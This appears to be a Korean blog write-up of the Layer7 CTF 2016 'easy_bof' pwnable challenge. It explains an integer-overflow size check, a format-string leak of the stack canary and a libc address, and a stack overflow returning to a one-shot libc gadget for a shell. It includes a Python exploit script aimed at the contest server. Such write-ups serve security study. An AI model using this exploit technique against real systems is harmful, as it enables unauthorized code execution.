-
Layer CTF easy_bofHack/Pwnable 2016. 9. 5. 01:12
fsb와 bof가 같이 사용되는문제지만 fsb는 릭을 위하여 존재한다.
해당 바이너리는 PIE, SSP, NX, ASLR의 보호기법이 걸려있기때문에 쉘코드는 물론 바이너리영역내에 있는 PLT도 사용하지못하게된다.
즉 ROP는 안된다는소리
우선 취약점 벡터로 가기위해서는 인티저 오버플로우가 사용된다.
nbytes 변수는 %d 포맷스트링으로 정수를 입력받게되는데, nbytes는 size_t 자료형을 가지고있다.
여기까진 인티저 오버플로우가 발생하지않는다 하지만 다음 조건문을 보자
다음 조건문을 보게되면 nbytes 값을 signed int로 캐스팅하여 비교하고있다.
-1을 넣어준다면 unsigned int의 최대크기만큼 입력받을 수 있기때문에 오버플로우가 발생한다.
이제 FSB를 통해 카나리만 알아낸다면 익스플로잇의 뼈대는 잡을 수 있다.
s0ngsari@ubuntu:~$ ./easy_bof
-1
%x.%x.%x.%x.%x.%x.
acbff9f0.1.0.0.s0ngsari@ubuntu:~$
아무리 입력을 해줘봤자 출력되는값은 12바이트밖에 출력하지않는다. 어떠한 got도 덮지못하는 상황인데, fsb는 릭을 위해 사용된다.
s0ngsari@ubuntu:~$ ./easy_bof
-1
%43$lx%45$lx
bcb7536b28a093007f32956d1f45
딱 포맷스트링페이로드는 12바이트이다.
이걸 보면, 2개의 값이 나오게된다.
canary: bcb7536b28a09300
libc_leak : 7f32956d1f45
카나리는 널바이트로 시작하기때문에(리틀엔디언) 카나리임을 알수있다.
대회중, 라이브러리가 공유됬는데, 라이브러리와 카나리를 릭했으니 토대로 매직가젯을 사용하여 쉘을 획득하면된다.
12345678910111213141516171819202122232425262728293031323334353637383940from socket import *import structfrom telnetlib import *p = lambda x:struct.pack("<Q",x)up = lambda x:struct.unpack("<Q",x)HOST = "prob.layer7.kr"PORT = 10003s = socket(AF_INET,SOCK_STREAM)s.connect((HOST,PORT))puts_libc = 0x66830magic_offset = 0x4525Adef recvuntil(t):data = ''while not data.endswith(t):tmp = s.recv(1)if not tmp: breakdata += tmpreturn datas.send("-1\n")s.send("%43$lx%45$lx\n")canary = int(s.recv(16),16)leak = int(s.recv(16),16)libcbase = leak - puts_libcmagic_gadget = libcbase + magic_offsetprint "[*] Canary : " + hex(canary)print "[*] leak : " + hex(leak)print "[*] libc imagebase: " + hex(libcbase)print "[*] Magic Gadget: " + hex(magic_gadget)s.send("A"*264 + p(canary)+ p(magic_gadget) + "\n")t = Telnet()t.sock = st.interact()s.close()cs ## 완성페이로드 아님
'Hack > Pwnable' 카테고리의 다른 글
first_fit use after free (0) 2016.09.13 fast_dup double free attack (0) 2016.09.13 포맷스트링(Format String Bug) GOT Overwrite (0) 2016.08.17 Off-by-one (0) 2016.08.11 const overwrite, 버그헌팅하면서 배운점 (3) 2016.07.19